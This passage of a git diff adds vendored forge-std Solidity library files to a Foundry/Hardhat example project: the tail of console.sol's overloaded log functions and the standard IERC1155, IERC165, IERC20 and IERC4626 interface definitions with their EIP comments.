+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,address)', p0, p1, p2, p3));
+    }
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC1155.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC1155.sol
new file mode 100644
index 000000000..dffbb2b3e
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC1155.sol
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC165.sol';
+
+/// @title ERC-1155 Multi Token Standard
+/// @dev See https://eips.ethereum.org/EIPS/eip-1155
+/// Note: The ERC-165 identifier for this interface is 0xd9b67a26.
+interface IERC1155 is IERC165 {
+    /// @dev
+    /// - Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
+    /// - The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
+    /// - The `_from` argument MUST be the address of the holder whose balance is decreased.
+    /// - The `_to` argument MUST be the address of the recipient whose balance is increased.
+    /// - The `_id` argument MUST be the token type being transferred.
+    /// - The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
+    /// - When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
+    /// - When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
+    event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
+
+    /// @dev
+    /// - Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
+    /// - The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
+    /// - The `_from` argument MUST be the address of the holder whose balance is decreased.
+    /// - The `_to` argument MUST be the address of the recipient whose balance is increased.
+    /// - The `_ids` argument MUST be the list of tokens being transferred.
+    /// - The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
+    /// - When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
+    /// - When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
+    event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
+
+    /// @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absence of an event assumes disabled).
+    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
+
+    /// @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986.
+    /// The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
+    event URI(string _value, uint256 indexed _id);
+
+    /// @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
+    /// @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
+    /// - MUST revert if `_to` is the zero address.
+    /// - MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
+    /// - MUST revert on any other error.
+    /// - MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
+    /// - After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
+    /// @param _from Source address
+    /// @param _to Target address
+    /// @param _id ID of the token type
+    /// @param _value Transfer amount
+    /// @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
+    function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
+
+    /// @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
+    /// @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
+    /// - MUST revert if `_to` is the zero address.
+    /// - MUST revert if length of `_ids` is not the same as length of `_values`.
+    /// - MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
+    /// - MUST revert on any other error.
+    /// - MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
+    /// - Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
+    /// - After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
+    /// @param _from Source address
+    /// @param _to Target address
+    /// @param _ids IDs of each token type (order and length must match _values array)
+    /// @param _values Transfer amounts per token type (order and length must match _ids array)
+    /// @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
+    function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
+
+    /// @notice Get the balance of an account's tokens.
+    /// @param _owner The address of the token holder
+    /// @param _id ID of the token
+    /// @return The _owner's balance of the token type requested
+    function balanceOf(address _owner, uint256 _id) external view returns (uint256);
+
+    /// @notice Get the balance of multiple account/token pairs
+    /// @param _owners The addresses of the token holders
+    /// @param _ids ID of the tokens
+    /// @return The _owner's balance of the token types requested (i.e. balance for each (owner, id) pair)
+    function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
+
+    /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
+    /// @dev MUST emit the ApprovalForAll event on success.
+    /// @param _operator Address to add to the set of authorized operators
+    /// @param _approved True if the operator is approved, false to revoke approval
+    function setApprovalForAll(address _operator, bool _approved) external;
+
+    /// @notice Queries the approval status of an operator for a given owner.
+    /// @param _owner The owner of the tokens
+    /// @param _operator Address of authorized operator
+    /// @return True if the operator is approved, false if not
+    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC165.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC165.sol
new file mode 100644
index 000000000..9af4bf800
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC165.sol
@@ -0,0 +1,12 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+interface IERC165 {
+    /// @notice Query if a contract implements an interface
+    /// @param interfaceID The interface identifier, as specified in ERC-165
+    /// @dev Interface identification is specified in ERC-165. This function
+    /// uses less than 30,000 gas.
+    /// @return `true` if the contract implements `interfaceID` and
+    /// `interfaceID` is not 0xffffffff, `false` otherwise
+    function supportsInterface(bytes4 interfaceID) external view returns (bool);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC20.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC20.sol
new file mode 100644
index 000000000..ba40806c3
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC20.sol
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+/// @dev Interface of the ERC20 standard as defined in the EIP.
+/// @dev This includes the optional name, symbol, and decimals metadata.
+interface IERC20 {
+    /// @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    /// @dev Emitted when the allowance of a `spender` for an `owner` is set, where `value`
+    /// is the new allowance.
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+
+    /// @notice Returns the amount of tokens in existence.
+    function totalSupply() external view returns (uint256);
+
+    /// @notice Returns the amount of tokens owned by `account`.
+    function balanceOf(address account) external view returns (uint256);
+
+    /// @notice Moves `amount` tokens from the caller's account to `to`.
+    function transfer(address to, uint256 amount) external returns (bool);
+
+    /// @notice Returns the remaining number of tokens that `spender` is allowed
+    /// to spend on behalf of `owner`
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    /// @notice Sets `amount` as the allowance of `spender` over the caller's tokens.
+    /// @dev Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    /// @notice Moves `amount` tokens from `from` to `to` using the allowance mechanism.
+    /// `amount` is then deducted from the caller's allowance.
+    function transferFrom(address from, address to, uint256 amount) external returns (bool);
+
+    /// @notice Returns the name of the token.
+    function name() external view returns (string memory);
+
+    /// @notice Returns the symbol of the token.
+    function symbol() external view returns (string memory);
+
+    /// @notice Returns the decimals places of the token.
+    function decimals() external view returns (uint8);
+}
diff --git a/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC4626.sol b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC4626.sol
new file mode 100644
index 000000000..53817c2cc
--- /dev/null
+++ b/basic/41-foundry/with-hardhat/lib/forge-std/src/interfaces/IERC4626.sol
@@ -0,0 +1,188 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC20.sol';
+
+/// @dev Interface of the ERC4626 "Tokenized Vault Standard", as defined in
+/// https://eips.ethereum.org/EIPS/eip-4626
+interface IERC4626 is IERC20 {
+    event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares);
+
+    event Withdraw(address indexed sender, address indexed receiver, address indexed owner, uint256 assets, uint256 shares);
+
+    /// @notice Returns the address of the underlying token used for the Vault for accounting, depositing, and withdrawing.
+    /// @dev
+    /// - MUST be an ERC-20 token contract.
+    /// - MUST NOT revert.
+    function asset() external view returns (address assetTokenAddress);
+
+    /// @notice Returns the total amount of the underlying asset that is “managed” by Vault.
+    /// @dev
+    /// - SHOULD include any compounding that occurs from yield.
+    /// - MUST be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT revert.
+    function totalAssets() external view returns (uint256 totalManagedAssets);
+
+    /// @notice Returns the amount of shares that the Vault would exchange for the amount of assets provided, in an ideal
+    /// scenario where all the conditions are met.
+    /// @dev
+    /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT show any variations depending on the caller.
+    /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the
+    /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and
+    /// from.
+    function convertToShares(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Returns the amount of assets that the Vault would exchange for the amount of shares provided, in an ideal
+    /// scenario where all the conditions are met.
+    /// @dev
+    /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT show any variations depending on the caller.
+    /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the
+    /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and
+    /// from.
+    function convertToAssets(uint256 shares) external view returns (uint256 assets);
+
+    /// @notice Returns the maximum amount of the underlying asset that can be deposited into the Vault for the receiver,
+    /// through a deposit call.
+    /// @dev
+    /// - MUST return a limited value if receiver is subject to some deposit limit.
+    /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of assets that may be deposited.
+    /// - MUST NOT revert.
+    function maxDeposit(address receiver) external view returns (uint256 maxAssets);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, given
+    /// current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit
+    ///   call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called
+    ///   in the same transaction.
+    /// - MUST NOT account for deposit limits like those returned from maxDeposit and should always act as though the
+    ///   deposit would be accepted, regardless if the user has enough tokens approved, etc.
+    /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToShares and previewDeposit SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by depositing.
+    function previewDeposit(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Mints shares Vault shares to receiver by depositing exactly amount of underlying tokens.
+    /// @dev
+    /// - MUST emit the Deposit event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   deposit execution, and are accounted for during deposit.
+    /// - MUST revert if all of assets cannot be deposited (due to deposit limit being reached, slippage, the user not
+    ///   approving enough underlying tokens to the Vault contract, etc).
+    ///
+    /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token.
+    function deposit(uint256 assets, address receiver) external returns (uint256 shares);
+
+    /// @notice Returns the maximum amount of the Vault shares that can be minted for the receiver, through a mint call.
+    /// @dev
+    /// - MUST return a limited value if receiver is subject to some mint limit.
+    /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of shares that may be minted.
+    /// - MUST NOT revert.
+    function maxMint(address receiver) external view returns (uint256 maxShares);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, given
+    /// current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call
+    ///   in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the
+    ///   same transaction.
+    /// - MUST NOT account for mint limits like those returned from maxMint and should always act as though the mint
+    ///   would be accepted, regardless if the user has enough tokens approved, etc.
+    /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToAssets and previewMint SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by minting.
+    function previewMint(uint256 shares) external view returns (uint256 assets);
+
+    /// @notice Mints exactly shares Vault shares to receiver by depositing amount of underlying tokens.
+    /// @dev
+    /// - MUST emit the Deposit event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the mint
+    ///   execution, and are accounted for during mint.
+    /// - MUST revert if all of shares cannot be minted (due to deposit limit being reached, slippage, the user not
+    ///   approving enough underlying tokens to the Vault contract, etc).
+    ///
+    /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token.
+    function mint(uint256 shares, address receiver) external returns (uint256 assets);
+
+    /// @notice Returns the maximum amount of the underlying asset that can be withdrawn from the owner balance in the
+    /// Vault, through a withdraw call.
+    /// @dev
+    /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock.
+    /// - MUST NOT revert.
+    function maxWithdraw(address owner) external view returns (uint256 maxAssets);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block,
+    /// given current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw
+    ///   call in the same transaction. I.e. withdraw should return the same or fewer shares as previewWithdraw if
+    ///   called
+    ///   in the same transaction.
+    /// - MUST NOT account for withdrawal limits like those returned from maxWithdraw and should always act as though
+    ///   the withdrawal would be accepted, regardless if the user has enough shares, etc.
